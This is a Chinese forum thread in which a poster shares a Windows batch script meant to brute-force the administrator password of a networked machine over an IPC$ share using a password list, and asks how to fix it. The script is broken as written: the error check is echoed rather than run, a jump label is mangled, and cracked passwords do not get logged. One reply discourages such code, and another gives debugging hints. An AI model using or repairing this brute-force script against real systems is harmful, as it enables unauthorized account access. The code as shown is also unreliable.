自己做了个扫描3389弱口令的批处理,代码如下:
@echo on
rem net use \\192.168.1.108\ipc$ /del
for /F %%j in (d:\test\pass.txt) do (
net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"
echo if ERRORLEVEL 0 goto ok
)
goto bad
k
echo "密码成功破解,%%j" >> d:\test\ok.txt
goto end
:bad
echo "结束,未找到密码...">> d:\test\ok.txt
:end
pause
exit
经测试,无论密码是否正确,ERRORLEVEL都是0, 且不跳转到ok。强制跳转到ok后,并不能将%%j(密码)输出到ok.txt文件,输出内容为"密码成功破解,%j"。
问题:
1、在net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"成功执行后,如何正确捕捉到“命令成功完成”并跳转到ok?
2、在扫描成功后,如何将密码%%j输出到文件?
3、代码中是否还有其他错误
请各位大侠指教。作者: czm_lz 时间: 2015-9-18 21:47
没人答啊,求各位大神!作者: 回家路上 时间: 2015-9-18 22:20
如果这是你写的,自己瞄两眼也就能看出错误。
我想论坛并不鼓励类似功能的代码。作者: flyinnet9 时间: 2015-9-20 01:25
本帖最后由 flyinnet9 于 2015-9-20 01:46 编辑
1、麻烦输入if /?
2、"echo if ERRORLEVEL 0 goto ok" echo 是什么鬼
3、“net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"” 这种格式。。。。不确定是这种写法,没地方测试(无责任预测)